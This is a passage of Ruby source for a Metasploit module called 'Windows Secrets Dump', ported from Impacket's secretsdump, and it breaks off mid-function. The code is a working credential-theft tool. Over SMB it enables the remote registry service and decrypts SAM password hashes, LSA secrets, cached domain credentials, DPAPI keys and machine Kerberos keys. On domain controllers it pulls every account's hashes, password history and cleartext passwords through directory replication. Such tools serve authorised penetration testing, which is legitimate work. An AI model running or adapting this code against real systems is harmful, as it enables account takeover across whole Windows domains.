##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##require 'ruby_smb/dcerpc/client'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Auxiliary::Report
include Msf::Util::WindowsRegistry
include Msf::Util::WindowsCryptoHelpers
include Msf::OptionalSession::SMB
# Mapping of MS-SAMR encryption keys to IANA Kerberos Parameter values
#
# @see RubySMB::Dcerpc::Samr::KERBEROS_TYPE
# @see Rex::Proto::Kerberos::Crypto::Encryption
# rubocop:disable Layout/HashAlignment
SAMR_KERBEROS_TYPE_TO_IANA = {
1 => Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_CRC,
3 => Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_MD5,
17 => Rex::Proto::Kerberos::Crypto::Encryption::AES128,
18 => Rex::Proto::Kerberos::Crypto::Encryption::AES256,
0xffffff74 => Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC
}.freeze
# rubocop:enable Layout/HashAlignment
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Secrets Dump',
'Description' => %q{
Dumps SAM hashes and LSA secrets (including cached creds) from the
remote Windows target without executing any agent locally. This is
done by remotely updating the registry key security descriptor,
taking advantage of the WriteDACL privileges held by local
administrators to set temporary read permissions.
This can be disabled by setting the `INLINE` option to false and the
module will fallback to the original implementation, which consists
in saving the registry hives locally on the target
(%SYSTEMROOT%\Temp\<random>.tmp), downloading the temporary hive
files and reading the data from it. This temporary files are removed
when it's done.
On domain controllers, secrets from Active Directory is extracted
using [MS-DRDS] DRSGetNCChanges(), replicating the attributes we need
to get SIDs, NTLM hashes, groups, password history, Kerberos keys and
other interesting data. Note that the actual `NTDS.dit` file is not
downloaded. Instead, the Directory Replication Service directly asks
Active Directory through RPC requests.
This modules takes care of starting or enabling the Remote Registry
service if needed. It will restore the service to its original state
when it's done.
This is a port of the great Impacket `secretsdump.py` code written by
Alberto Solino.
},
'License' => MSF_LICENSE,
'Author' => [
'Alberto Solino', # Original Impacket code
'Christophe De La Fuente', # MSF module
'antuache' # Inline technique
],
'References' => [
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],
],
'Notes' => {
'Reliability' => [],
'Stability' => [],
'SideEffects' => [ IOC_IN_LOGS ]
},
'Actions' => [
[ 'ALL', { 'Description' => 'Dump everything' } ],
[ 'SAM', { 'Description' => 'Dump SAM hashes' } ],
[ 'CACHE', { 'Description' => 'Dump cached hashes' } ],
[ 'LSA', { 'Description' => 'Dump LSA secrets' } ],
[ 'DOMAIN', { 'Description' => 'Dump domain secrets (credentials, password history, Kerberos keys, etc.)' } ]
],
'DefaultAction' => 'ALL'
)
)
register_options(
[
Opt::RPORT(445),
OptBool.new(
'INLINE',
[ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ],
conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]]
)
]
)
@service_should_be_stopped = false
@service_should_be_disabled = false
end
def enable_registry
svc_handle = @svcctl.open_service_w(@scm_handle, 'RemoteRegistry')
svc_status = @svcctl.query_service_status(svc_handle)
case svc_status.dw_current_state
when RubySMB::Dcerpc::Svcctl::SERVICE_RUNNING
print_status('Service RemoteRegistry is already running')
when RubySMB::Dcerpc::Svcctl::SERVICE_STOPPED
print_status('Service RemoteRegistry is in stopped state')
svc_config = @svcctl.query_service_config(svc_handle)
if svc_config.dw_start_type == RubySMB::Dcerpc::Svcctl::SERVICE_DISABLED
print_status('Service RemoteRegistry is disabled, enabling it...')
@svcctl.change_service_config_w(
svc_handle,
start_type: RubySMB::Dcerpc::Svcctl::SERVICE_DEMAND_START
)
@service_should_be_disabled = true
end
print_status('Starting service...')
@svcctl.start_service_w(svc_handle)
@service_should_be_stopped = true
else
print_error('Unable to get the service RemoteRegistry state')
end
ensure
@svcctl.close_service_handle(svc_handle) if svc_handle
end
def get_boot_key
print_status('Retrieving target system bootKey')
root_key_handle = @winreg.open_root_key('HKLM')
boot_key = ''.b
['JD', 'Skew1', 'GBG', 'Data'].each do |key|
sub_key = "SYSTEM\\CurrentControlSet\\Control\\Lsa\\#{key}"
vprint_status("Retrieving class info for #{sub_key}")
subkey_handle = @winreg.open_key(root_key_handle, sub_key)
query_info_key_response = @winreg.query_info_key(subkey_handle)
boot_key << query_info_key_response.lp_class.to_s.encode(::Encoding::ASCII_8BIT)
@winreg.close_key(subkey_handle)
subkey_handle = nil
ensure
@winreg.close_key(subkey_handle) if subkey_handle
end
if boot_key.size != 32
vprint_error("bootKey must be 16-bytes long (hex string of 32 chars), got \"#{boot_key}\" (#{boot_key.size} chars)")
return ''.b
end
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
boot_key = [boot_key].pack('H*')
boot_key = transforms.map { |i| boot_key[i] }.join
print_good("bootKey: 0x#{boot_key.unpack('H*')[0]}") unless boot_key&.empty?
boot_key
ensure
@winreg.close_key(root_key_handle) if root_key_handle
end
def check_lm_hash_not_stored
vprint_status('Checking NoLMHash policy')
res = @winreg.read_registry_key_value('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'NoLmHash', bind: false)
if res == 1
vprint_status('LMHashes are not being stored')
@lm_hash_not_stored = true
else
vprint_status('LMHashes are being stored')
@lm_hash_not_stored = false
end
rescue RubySMB::Dcerpc::Error::WinregError => e
vprint_warning("An error occurred when checking NoLMHash policy: #{e}")
end
def save_registry_key(hive_name)
vprint_status("Create #{hive_name} key")
root_key_handle = @winreg.open_root_key('HKLM')
new_key_handle = @winreg.create_key(root_key_handle, hive_name)
file_name = "#{Rex::Text.rand_text_alphanumeric(8)}.tmp"
vprint_status("Save key to #{file_name}")
@winreg.save_key(new_key_handle, "..\\Temp\\#{file_name}")
file_name
ensure
@winreg.close_key(new_key_handle) if new_key_handle
@winreg.close_key(root_key_handle) if root_key_handle
end
def retrieve_hive(hive_name)
file_name = save_registry_key(hive_name)
tree2 = simple.client.tree_connect("\\\\#{simple.address}\\ADMIN$")
file = tree2.open_file(filename: "Temp\\#{file_name}", delete: true, read: true)
file.read
ensure
file.delete if file
file.close if file
tree2.disconnect! if tree2
end
def save_sam
print_status('Saving remote SAM database')
retrieve_hive('SAM')
end
def save_security
print_status('Saving remote SECURITY database')
retrieve_hive('SECURITY')
end
def report_creds(
user, hash, type: :ntlm_hash, jtr_format: '', realm_key: nil, realm_value: nil
)
service_data = {
address: simple.address,
port: simple.port,
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
origin_type: :service,
private_data: hash,
private_type: type,
jtr_format: jtr_format,
username: user
}.merge(service_data)
credential_data[:realm_key] = realm_key if realm_key
credential_data[:realm_value] = realm_value if realm_value
cl = create_credential_and_login(credential_data)
cl.respond_to?(:core_id) ? cl.core_id : nil
end
def report_info(data, type = '')
report_note(
host: simple.address,
port: simple.port,
proto: 'tcp',
sname: 'smb',
type: type,
data: data,
update: :unique_data
)
end
def dump_sam_hashes(windows_reg, boot_key)
print_status('Dumping SAM hashes')
vprint_status('Calculating HashedBootKey from SAM')
hboot_key = windows_reg.get_hboot_key(boot_key)
unless hboot_key.present?
print_warning('Unable to get hbootKey')
return
end
users = windows_reg.get_user_keys
users.each do |rid, user|
user[:hashnt], user[:hashlm] = decrypt_user_key(hboot_key, user[:V], rid)
end
print_status('Password hints:')
hint_count = 0
users.keys.sort { |a, b| a <=> b }.each do |rid|
# If we have a hint then print it
next unless !users[rid][:UserPasswordHint].nil? && !users[rid][:UserPasswordHint].empty?
hint = "#{users[rid][:Name]}: \"#{users[rid][:UserPasswordHint]}\""
report_info(hint, 'user.password_hint')
print_line(hint)
hint_count += 1
end
print_line('No users with password hints on this system') if hint_count == 0
print_status('Password hashes (pwdump format - uid:rid:lmhash:nthash:::):')
users.keys.sort { |a, b| a <=> b }.each do |rid|
hash = "#{users[rid][:hashlm].unpack('H*')[0]}:#{users[rid][:hashnt].unpack('H*')[0]}"
unless report_creds(users[rid][:Name], hash)
vprint_bad("Error when reporting #{users[rid][:Name]} hash")
end
print_line("#{users[rid][:Name]}:#{rid}:#{hash}:::")
end
end
def get_lsa_secret_key(windows_reg, boot_key)
print_status('Decrypting LSA Key')
lsa_key = windows_reg.lsa_secret_key(boot_key)
vprint_good("LSA key: #{lsa_key.unpack('H*')[0]}")
if windows_reg.lsa_vista_style
vprint_status('Vista or above system')
else
vprint_status('XP or below system')
end
return lsa_key
end
def get_nlkm_secret_key(windows_reg, lsa_key)
print_status('Decrypting NL$KM')
windows_reg.nlkm_secret_key(lsa_key)
end
def dump_cached_hashes(windows_reg, nlkm_key)
print_status('Dumping cached hashes')
cache_infos = windows_reg.cached_infos(nlkm_key)
if cache_infos.nil? || cache_infos.empty?
print_warning('No cashed entries.')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
return
end
hashes = ''
cache_infos.each do |cache_info|
vprint_status("Looking into #{cache_info.name}")
next unless cache_info.entry.user_name_length > 0
vprint_status("Reg entry: #{cache_info.entry.to_hex}")
vprint_status("Encrypted data: #{cache_info.entry.enc_data.to_hex}")
vprint_status("IV: #{cache_info.entry.iv.to_hex}")
vprint_status("Decrypted data: #{cache_info.data.to_hex}")
username = cache_info.data.username.encode(::Encoding::UTF_8)
info = []
info << ("Username: #{username}")
if cache_info.iteration_count
info << ("Iteration count: #{cache_info.iteration_count} -> real #{cache_info.real_iteration_count}")
end
info << ("Last login: #{cache_info.entry.last_access.to_time}")
dns_domain_name = cache_info.data.dns_domain_name.encode(::Encoding::UTF_8)
info << ("DNS Domain Name: #{dns_domain_name}")
info << ("UPN: #{cache_info.data.upn.encode(::Encoding::UTF_8)}")
info << ("Effective Name: #{cache_info.data.effective_name.encode(::Encoding::UTF_8)}")
info << ("Full Name: #{cache_info.data.full_name.encode(::Encoding::UTF_8)}")
info << ("Logon Script: #{cache_info.data.logon_script.encode(::Encoding::UTF_8)}")
info << ("Profile Path: #{cache_info.data.profile_path.encode(::Encoding::UTF_8)}")
info << ("Home Directory: #{cache_info.data.home_directory.encode(::Encoding::UTF_8)}")
info << ("Home Directory Drive: #{cache_info.data.home_directory_drive.encode(::Encoding::UTF_8)}")
info << ("User ID: #{cache_info.entry.user_id}")
info << ("Primary Group ID: #{cache_info.entry.primary_group_id}")
info << ("Additional groups: #{cache_info.data.groups.map(&:relative_id).join(' ')}")
logon_domain_name = cache_info.data.logon_domain_name.encode(::Encoding::UTF_8)
info << ("Logon domain name: #{logon_domain_name}")
report_info(info.join('; '), 'user.cache_info')
vprint_line(info.join("\n"))
credential_opts = {
type: :nonreplayable_hash,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: logon_domain_name
}
if windows_reg.lsa_vista_style
jtr_hash = "$DCC2$#{cache_info.real_iteration_count}##{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
else
jtr_hash = "M$#{username}##{cache_info.data.enc_hash.to_hex}:#{dns_domain_name}:#{logon_domain_name}"
end
credential_opts[:jtr_format] = Metasploit::Framework::Hashes.identify_hash(jtr_hash)
unless report_creds("#{logon_domain_name}\\#{username}", jtr_hash, **credential_opts)
vprint_bad("Error when reporting #{logon_domain_name}\\#{username} hash (#{credential_opts[:jtr_format]} format)")
end
hashes << "#{logon_domain_name}\\#{username}:#{jtr_hash}\n"
end
if hashes.empty?
print_line('No cached hashes on this system')
else
print_status("Hash#{'es' if hashes.lines.size > 1} are in '#{windows_reg.lsa_vista_style ? 'mscash2' : 'mscash'}' format")
print_line(hashes)
end
end
def get_service_account(service_name)
return nil unless @svcctl
vprint_status("Getting #{service_name} service account")
svc_handle = @svcctl.open_service_w(@scm_handle, service_name)
svc_config = @svcctl.query_service_config(svc_handle)
return nil if svc_config.lp_service_start_name == :null
svc_config.lp_service_start_name.to_s
rescue RubySMB::Dcerpc::Error::SvcctlError => e
vprint_warning("An error occurred when getting #{service_name} service account: #{e}")
return nil
ensure
@svcctl.close_service_handle(svc_handle) if svc_handle
end
def get_default_login_account
vprint_status('Getting default login account')
begin
username = @winreg.read_registry_key_value(
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',
'DefaultUserName',
bind: false
)
rescue RubySMB::Dcerpc::Error::WinregError => e
vprint_warning("An error occurred when getting the default user name: #{e}")
return nil
end
return nil if username.nil? || username.empty?
username = username.encode(::Encoding::UTF_8)
begin
domain = @winreg.read_registry_key_value(
'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon',
'DefaultDomainName',
bind: false
)
rescue RubySMB::Dcerpc::Error::WinregError => e
vprint_warning("An error occurred when getting the default domain name: #{e}")
domain = ''
end
username = "#{domain.encode(::Encoding::UTF_8)}\\#{username}" unless domain.nil? || domain.empty?
username
end
# Returns Kerberos salt for the current connection if we have the correct information
def get_machine_kerberos_salt
host = simple.client.default_name
return ''.b if host.nil? || host.empty?
domain = simple.client.dns_domain_name
"#{domain.upcase}host#{host.downcase}.#{domain.downcase}".b
end
# @return [Array[Hash{String => String}]]
def get_machine_kerberos_keys(raw_secret, _machine_name)
vprint_status('Calculating machine account Kerberos keys')
# Attempt to create Kerberos keys from machine account (if possible)
secret = []
salt = get_machine_kerberos_salt
if salt.empty?
vprint_error('Unable to get the salt')
return []
end
raw_secret_utf_16le = raw_secret.dup.force_encoding(::Encoding::UTF_16LE)
raw_secret_utf8 = raw_secret_utf_16le.encode(::Encoding::UTF_8, invalid: :replace).b
secret << {
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES256,
key: aes256_cts_hmac_sha1_96(raw_secret_utf8, salt),
salt: salt
}
secret << {
enctype: Rex::Proto::Kerberos::Crypto::Encryption::AES128,
key: aes128_cts_hmac_sha1_96(raw_secret_utf8, salt),
salt: salt
}
secret << {
enctype: Rex::Proto::Kerberos::Crypto::Encryption::DES_CBC_MD5,
key: des_cbc_md5(raw_secret_utf8, salt),
salt: salt
}
secret << {
enctype: Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC,
key: OpenSSL::Digest::MD4.digest(raw_secret),
salt: nil
}
secret
end
def print_secret(name, secret_item)
if secret_item.nil? || secret_item.empty?
vprint_status("Discarding secret #{name}, NULL Data")
return
end
if secret_item.start_with?("\x00\x00".b)
vprint_status("Discarding secret #{name}, all zeros")
return
end
upper_name = name.upcase
print_line(name.to_s)
secret = ''
if upper_name.start_with?('_SC_')
# Service name, a password might be there
# We have to get the account the service runs under
account = get_service_account(name[4..])
if account
secret = "#{account.encode(::Encoding::UTF_8)}:"
else
secret = '(Unknown User): '
end
secret << secret_item
elsif upper_name.start_with?('DEFAULTPASSWORD')
# We have to get the account this password is for
account = get_default_login_account || '(Unknown User)'
password = secret_item.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8)
unless report_creds(account, password, type: :password)
vprint_bad("Error when reporting #{account} default password")
end
secret << "#{account}: #{password}"
elsif upper_name.start_with?('ASPNET_WP_PASSWORD')
secret = "ASPNET: #{secret_item}"
elsif upper_name.start_with?('DPAPI_SYSTEM')
# Decode the DPAPI Secrets
machine_key = secret_item[4, 20]
user_key = secret_item[24, 20]
report_info(machine_key.unpack('H*')[0], 'dpapi.machine_key')
report_info(user_key.unpack('H*')[0], 'dpapi.user_key')
secret = "dpapi_machinekey: 0x#{machine_key.unpack('H*')[0]}\ndpapi_userkey: 0x#{user_key.unpack('H*')[0]}"
elsif upper_name.start_with?('$MACHINE.ACC')
md4 = OpenSSL::Digest::MD4.digest(secret_item)
machine, domain, dns_domain_name = get_machine_name_and_domain_info
print_name = "#{domain}\\#{machine}$"
ntlm_hash = "#{Net::NTLM.lm_hash('').unpack('H*')[0]}:#{md4.unpack('H*')[0]}"
secret_ary = ["#{print_name}:#{ntlm_hash}:::"]
credential_opts = {
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: dns_domain_name
}
unless report_creds(print_name, ntlm_hash, **credential_opts)
vprint_bad("Error when reporting #{print_name} NTLM hash")
end
raw_passwd = secret_item.unpack('H*')[0]
credential_opts[:type] = :password
unless report_creds(print_name, raw_passwd, **credential_opts)
vprint_bad("Error when reporting #{print_name} raw password hash")
end
secret = "#{print_name}:plain_password_hex:#{raw_passwd}\n"
machine_kerberos_keys = get_machine_kerberos_keys(secret_item, print_name)
if machine_kerberos_keys.empty?
vprint_status('Could not calculate machine account Kerberos keys')
else
credential_opts[:type] = :krb_enc_key
machine_kerberos_keys.each do |key|
key_data = Metasploit::Credential::KrbEncKey.build_data(**key)
unless report_creds(print_name, key_data, **credential_opts)
vprint_bad("Error when reporting #{print_name} machine kerberos key #{krb_enc_key_to_s(key)}")
end
end
end
secret << machine_kerberos_keys.map { |key| "#{print_name}:#{krb_enc_key_to_s(key)}" }.concat(secret_ary).join("\n")
end
if secret.empty?
print_line(Rex::Text.to_hex_dump(secret_item).strip)
print_line("Hex string: #{secret_item.unpack('H*')[0]}")
else
print_line(secret)
end
print_line
end
def dump_lsa_secrets(windows_reg, lsa_key)
print_status('Dumping LSA Secrets')
lsa_secrets = windows_reg.lsa_secrets(lsa_key)
if lsa_secrets.empty?
print_warning('No LSA secrets to dump')
if datastore['INLINE']
print_warning('This might be expected or you can still try again with the `INLINE` option set to false')
end
end
lsa_secrets.each do |key, secret|
print_secret(key, secret)
end
end
def get_machine_name_and_domain_info
if simple.client&.default_name.blank?
begin
vprint_status('Getting Server Info')
wkssvc = @tree.open_file(filename: 'wkssvc', write: true, read: true)
vprint_status('Binding to \\wkssvc...')
wkssvc.bind(endpoint: RubySMB::Dcerpc::Wkssvc)
vprint_status('Bound to \\wkssvc')
info = wkssvc.netr_wksta_get_info
rescue RubySMB::Error::RubySMBError => e
print_error("Error when connecting to 'wkssvc' interface ([#{e.class}] #{e}).")
return
end
return [info[:wki100_computername].encode('utf-8'), info[:wki100_langroup].encode('utf-8'), datastore['SMBDomain']]
end
[simple.client.default_name, simple.client.default_domain, simple.client.dns_domain_name]
end
def connect_samr(domain_name)
vprint_status('Connecting to Security Account Manager (SAM) Remote Protocol')
@samr = @tree.open_file(filename: 'samr', write: true, read: true)
vprint_status('Binding to \\samr...')
@samr.bind(endpoint: RubySMB::Dcerpc::Samr)
vprint_good('Bound to \\samr')
@server_handle = @samr.samr_connect
@domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: domain_name)
@domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: @domain_sid)
builtin_domain_sid = @samr.samr_lookup_domain(server_handle: @server_handle, name: 'Builtin')
@builtin_domain_handle = @samr.samr_open_domain(server_handle: @server_handle, domain_id: builtin_domain_sid)
end
def get_domain_users
users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle)
vprint_status("Obtained #{users.length} domain users, fetching the SID for each...")
progress_interval = 250
nb_digits = (Math.log10(users.length) + 1).floor
users = users.each_with_index.map do |(rid, name), index|
if index % progress_interval == 0
percent = format('%.2f', (index / users.length.to_f * 100)).rjust(5)
print_status("SID enumeration progress - #{index.to_s.rjust(nb_digits)} / #{users.length} (#{percent}%)")
end
sid = @samr.samr_rid_to_sid(object_handle: @domain_handle, rid: rid)
[sid.to_s, name.to_s]
end
print_status("SID enumeration progress - #{users.length} / #{users.length} ( 100%)")
users
rescue RubySMB::Error::RubySMBError => e
print_error("Error when enumerating domain users ([#{e.class}] #{e}).")
return
end
def get_user_groups(sid)
user_handle = nil
rid = sid.split('-').last.to_i
user_handle = @samr.samr_open_user(domain_handle: @domain_handle, user_id: rid)
groups = @samr.samr_get_group_for_user(user_handle: user_handle)
groups = groups.map do |group|
RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group.relative_id.to_i}")
end
alias_groups = @samr.samr_get_alias_membership(domain_handle: @domain_handle, sids: groups + [sid])
alias_groups = alias_groups.map do |group|
RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group}")
end
builtin_alias_groups = @samr.samr_get_alias_membership(domain_handle: @builtin_domain_handle, sids: groups + [sid])
builtin_alias_groups = builtin_alias_groups.map do |group|
RubySMB::Dcerpc::Samr::RpcSid.new("#{@domain_sid}-#{group}")
end
groups + alias_groups + builtin_alias_groups
ensure
@samr.close_handle(user_handle) if user_handle
end
def connect_drs
dcerpc_client = RubySMB::Dcerpc::Client.new(
simple.address,
RubySMB::Dcerpc::Drsr,
username: datastore['SMBUser'],
password: datastore['SMBPass']
)
auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_WINNT
if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
fail_with(Msf::Exploit::Failure::BadConfig, 'The Smb::Rhostname option is required when using Kerberos authentication.') if datastore['Smb::Rhostname'].blank?
fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank?
fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank?
offered_etypes = Msf::Exploit::Remote::AuthOption.as_default_offered_etypes(datastore['Smb::KrbOfferedEncryptionTypes'])
fail_with(Msf::Exploit::Failure::BadConfig, 'At least one encryption type is required when using Kerberos authentication.') if offered_etypes.empty?
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::LDAP.new(
host: datastore['DomainControllerRhost'],
hostname: datastore['Smb::Rhostname'],
proxies: datastore['Proxies'],
realm: datastore['SMBDomain'],
username: datastore['SMBUser'],
password: datastore['SMBPass'],
framework: framework,
framework_module: self,
cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'],
mutual_auth: true,
dce_style: true,
use_gss_checksum: true,
ticket_storage: kerberos_ticket_storage,
offered_etypes: offered_etypes
)
dcerpc_client.extend(Msf::Exploit::Remote::DCERPC::KerberosAuthentication)
dcerpc_client.kerberos_authenticator = kerberos_authenticator
auth_type = RubySMB::Dcerpc::RPC_C_AUTHN_GSS_NEGOTIATE
end
dcerpc_client.connect
vprint_status('Binding to DRSR...')
dcerpc_client.bind(
endpoint: RubySMB::Dcerpc::Drsr,
auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
auth_type: auth_type
)
vprint_status('Bound to DRSR')
dcerpc_client
rescue RubySMB::Dcerpc::Error::DcerpcError, ArgumentError => e
print_error("Unable to bind to the directory replication remote service (DRS): #{e}")
return
end
def decrypt_supplemental_info(dcerpc_client, result, attribute_value)
result[:kerberos_keys] = []
result[:clear_text_passwords] = {}
plain_text = dcerpc_client.decrypt_attribute_value(attribute_value)
user_properties = RubySMB::Dcerpc::Samr::UserProperties.read(plain_text)
user_properties.user_properties.each do |user_property|
case user_property.property_name.encode('utf-8')
when 'Primary:Kerberos-Newer-Keys'
value = user_property.property_value
binary_value = value.chars.each_slice(2).map { |a, b| (a + b).hex.chr }.join
kerb_stored_credential_new = RubySMB::Dcerpc::Samr::KerbStoredCredentialNew.read(binary_value)
key_values = kerb_stored_credential_new.get_key_values
kerb_stored_credential_new.credentials.each_with_index do |credential, i|
# Extract the kerberos keys, note that the enctype here is a RubySMB::Dcerpc::Samr::KERBEROS_TYPE
# not the IANA Kerberos value, which is required for database persistence
result[:kerberos_keys] << {
enctype: credential.key_type.to_i,
key: key_values[i]
}
end
when 'Primary:CLEARTEXT'
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
begin
result[:clear_text_passwords] << user_property.property_value.to_s.force_encoding('utf-16le').encode('utf-8')
rescue EncodingError
# This could be because we're decoding a machine password. Printing it hex
# Keep clear_text_passwords with a ASCII-8BIT encoding
result[:clear_text_passwords] << user_property.property_value.to_s
end
end
end
end
def parse_user_record(dcerpc_client, user_record)
vprint_status("Decrypting hash for user: #{user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..].join.encode('utf-8')}")
entinf_struct = user_record.pmsg_out.msg_getchg.p_objects.entinf
rid = entinf_struct.p_name.sid[-4..].unpack('L<').first
dn = user_record.pmsg_out.msg_getchg.p_nc.string_name.to_ary[0..].join.encode('utf-8')
result = {
dn: dn,
rid: rid,
object_sid: rid,
lm_hash: Net::NTLM.lm_hash(''),
nt_hash: Net::NTLM.ntlm_hash(''),
disabled: nil,
pwd_last_set: nil,
last_logon: nil,
expires: nil,
computer_account: nil,
password_never_expires: nil,
password_not_required: nil,
lm_history: [],
nt_history: [],
domain_name: '',
username: 'unknown',
admin: false,
domain_admin: false,
enterprise_admin: false
}
entinf_struct.attr_block.p_attr.each do |attr|
next unless attr.attr_val.val_count > 0
att_id = user_record.pmsg_out.msg_getchg.oid_from_attid(attr.attr_typ)
lookup_table = RubySMB::Dcerpc::Drsr::ATTRTYP_TO_ATTID
attribute_value = attr.attr_val.p_aval[0].p_val.to_ary.map(&:chr).join
case att_id
when lookup_table['dBCSPwd']
encrypted_lm_hash = dcerpc_client.decrypt_attribute_value(attribute_value)
result[:lm_hash] = dcerpc_client.remove_des_layer(encrypted_lm_hash, rid)
when lookup_table['unicodePwd']
encrypted_nt_hash = dcerpc_client.decrypt_attribute_value(attribute_value)
result[:nt_hash] = dcerpc_client.remove_des_layer(encrypted_nt_hash, rid)
when lookup_table['userPrincipalName']
result[:domain_name] = attribute_value.force_encoding('utf-16le').split('@'.encode('utf-16le')).last.encode('utf-8')
when lookup_table['sAMAccountName']
result[:username] = attribute_value.force_encoding('utf-16le').encode('utf-8')
when lookup_table['objectSid']
result[:object_sid] = attribute_value
when lookup_table['userAccountControl']
user_account_control = attribute_value.unpack('L<')[0]
result[:disabled] = user_account_control & RubySMB::Dcerpc::Samr::UF_ACCOUNTDISABLE != 0
result[:computer_account] = user_account_control & RubySMB::Dcerpc::Samr::UF_NORMAL_ACCOUNT == 0
result[:password_never_expires] = user_account_control & RubySMB::Dcerpc::Samr::UF_DONT_EXPIRE_PASSWD != 0
result[:password_not_required] = user_account_control & RubySMB::Dcerpc::Samr::UF_PASSWD_NOTREQD != 0
when lookup_table['pwdLastSet']
result[:pwd_last_set] = Time.at(0)
time_value = attribute_value.unpack('Q<')[0]
if time_value > 0
result[:pwd_last_set] = RubySMB::Field::FileTime.new(time_value).to_time.utc
end
when lookup_table['lastLogonTimestamp']
result[:last_logon] = Time.at(0)
time_value = attribute_value.unpack('Q<')[0]
if time_value > 0
result[:last_logon] = RubySMB::Field::FileTime.new(time_value).to_time.utc
end
when lookup_table['accountExpires']
result[:expires] = Time.at(0)
time_value = attribute_value.unpack('Q<')[0]
if time_value > 0 && time_value != 0x7FFFFFFFFFFFFFFF
result[:expires] = RubySMB::Field::FileTime.new(time_value).to_time.utc
end
when lookup_table['lmPwdHistory']
tmp_lm_history = dcerpc_client.decrypt_attribute_value(attribute_value)
tmp_lm_history.bytes.each_slice(16) do |block|
result[:lm_history] << dcerpc_client.remove_des_layer(block.map(&:chr).join, rid)
end
when lookup_table['ntPwdHistory']
tmp_nt_history = dcerpc_client.decrypt_attribute_value(attribute_value)
tmp_nt_history.bytes.each_slice(16) do |block|
result[:nt_history] << dcerpc_client.remove_des_layer(block.map(&:chr).join, rid)
end
when lookup_table['supplementalCredentials']
decrypt_supplemental_info(dcerpc_client, result, attribute_value)
end
end
result
end
def dump_ntds_hashes
_machine_name, domain_name, dns_domain_name = get_machine_name_and_domain_info
return unless domain_name
print_status('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
print_status('Using the DRSUAPI method to get NTDS.DIT secrets')
begin
connect_samr(domain_name)
rescue RubySMB::Error::RubySMBError => e
print_error(
"Unable to connect to the remote Security Account Manager (SAM) ([#{e.class}] #{e}). "\
'Is the remote server a Domain Controller?'
)
return
end
users = get_domain_users
dcerpc_client = connect_drs
unless dcerpc_client
print_error(
'Unable to connect to the directory replication remote service (DRS).'\
'Is the remote server a Domain Controller?'
)
return
end
ph_drs = dcerpc_client.drs_bind
dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name)
user_info = {}
dc_infos.each do |dc_info|
users.each do |user|
sid = user[0]
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
crack_names.each do |crack_name|
user_record = dcerpc_client.drs_get_nc_changes(
ph_drs,
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
dsa_object_guid: dc_info.ntds_dsa_object_guid
)
user_info[sid] = parse_user_record(dcerpc_client, user_record)
end
groups = get_user_groups(sid)
groups.each do |group|
case group.name
when 'BUILTIN\\Administrators'
user_info[sid][:admin] = true
when '(domain)\\Domain Admins'
user_info[sid][:domain_admin] = true
when '(domain)\\Enterprise Admins'
user_info[sid][:enterprise_admin] = true
end
end
end
end
credential_opts = {
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: dns_domain_name
}
print_line('# SID\'s:')
user_info.each do |sid, info|
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
print_line("#{full_name}: #{sid}")
end
print_line("\n# NTLM hashes:")
user_info.each_value do |info|
hash = "#{info[:lm_hash].unpack('H*')[0]}:#{info[:nt_hash].unpack('H*')[0]}"
full_name = info[:domain_name].blank? ? info[:username] : "#{info[:domain_name]}\\#{info[:username]}"
unless report_creds(full_name, hash, **credential_opts)
vprint_bad("Error when reporting #{full_name} hash")
end
print_line("#{full_name}:#{info[:rid]}:#{hash}:::")
end
print_line("\n# Full pwdump format:")
user_info.each do |sid, info|
